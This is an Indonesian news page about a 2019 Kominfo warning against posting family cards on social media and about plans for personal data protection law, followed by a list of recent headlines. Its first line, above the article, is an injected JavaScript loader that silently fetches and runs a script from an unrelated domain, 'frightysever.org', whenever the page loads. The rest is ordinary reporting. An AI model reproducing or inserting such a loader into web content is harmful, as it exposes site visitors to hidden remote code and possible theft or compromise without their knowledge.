(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Teknologi

Imbauan Kominfo, Jangan Posting Kartu Keluarga di Medsos


Direktur Jenderal Aplikasi dan Informatika, Kementerian Komunikasi dan Informatika, Semuel Abrijani Pangerapan, terus melakukan edukasi kepada masyarakat mengenai pentingnya menjaga keamanan data pribadi.

Selain itu mereka juga sudah mengirim sejumlah tenaga kerja ke Eropa untuk mempelajari sistem data protection officer (DPO).

“Ada 32 regulasi terkait perlindungan data pribadi. Itu tercecer dan saling tumpang tindih. Masyarakat jadi bingung. Ada regulasi di kesehatan, di regulasi komunikasi juga ada. Yang tercecer ini kita ingin satukan. Jadi sangat butuh sosialisasi. Masyarakat belum paham,” kata dia di Jakarta, Rabu, 3 Juli 2019, seperti diwartakan viva.co.id.

Cara pertama untuk menyatukan peraturan yang ada adalah dengan melakukan diskusi untuk mengedukasi masyarakat serta literasi terkait akan adanya Undang-Undang Perlindungan Data Pribadi. Kemudian, untuk instansi dan perusahaan, akan terdapat data protection authority (DPA).

Akan tetapi pembentukan DPA masih dalam tahap rancangan, apakah akan berbentuk komisi yang ditetapkan DPR atau pemerintah. “Masih harus dipelajari lebih dalam. Selain edukasi dari sisi masyarakat, kami berharap pelaku usaha lebih aware jika ada regulasi baru,” jelasnya.

Semuel juga menyayangkan karena kerap menemukan banyak yang posting Kartu Keluarga di media sosial, “Itu tidak usah dilakukan. Itu adalah data sensitif yang bisa disalahgunakan oleh orang yang tidak bertanggung jawab,” tegas dia.

Pada kesempatan yang sama, Anggota Komisi I DPR, Meutya Hafid, mengaku tidak ada masalah dari sisi pengusaha, namun masalah utama justru ada di masyarakat.

Menurutnya masyarakat menjadi helpless dan tidak aware saat menghadapi sebuah pilihan. “Mereka punya potensi disalahgunakan tapi mereka tidak punya pilihan karena mereka mau menggunakan teknologi itu,” paparnya. Meutya memberi contoh ketika ingin menggunakan aplikasi.

Ia mengatakan pastinya pengguan akan diminta untuk setuju saat aplikasi ingin mengakses data pengguna. “Kalau tidak setuju, ya, aplikasi enggak bisa digunakan,” jelas Meutya. (vvn)

Reporter :Vvn
Editor :KK

Desy Arfianty

Recent Posts

BPBD Balangan Tetapkan Status Siaga Bencana Batingsor Hingga April 2025

KANALKALIMANTAN.COM, PARINGIN - Antisipasi dan kesiapsiagaan menghadapi bencana banjir, puting beliung dan tanah longsor (Batingsor),… Read More

2 jam ago

Jelang Nataru PLN Pastikan Kesiapan Infrastruktur dan Layanan Kelistrikan Andal

KANALKALIMANTAN.COM, JAKARTA - Menjelang perayaan hari besar Natal 2024 dan pergantian tahun ke 2025, PT… Read More

2 jam ago

Banjarmasin Dilanda Banjir Rob, Jalan Kampus ULM Tergenang

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob melanda sejumlah wilayah di Kota Banjarmasin, Provinsi Kalimantan Selatan (Kalsel).… Read More

3 jam ago

HUT Ke-129, BRI Tawarkan Promo Spesial KPR

KANALKALIMANTAN.COM - PT Bank Rakyat Indonesia (Persero) Tbk atau BRI menghadirkan Program Spesial KPR BRI.… Read More

5 jam ago

BRI Hadirkan Banjir Promo di HUT Ke-129, Cek di Sini!

KANALKALIMANTAN.COM - BRI kembali menunjukkan komitmennya untuk memanjakan para nasabah setia di momen ulang tahun ke-129.… Read More

5 jam ago

Memberdayakan Gen Z Lewat Literasi Digital, Skill Development, Akademi, dan Hiburan

KANALKALIMANTAN.COM, BANJARBARU - Tahun ini, Generasi Happy mengusung format online-offline-online untuk memberikan pengalaman yang menyeluruh… Read More

20 jam ago

This website uses cookies.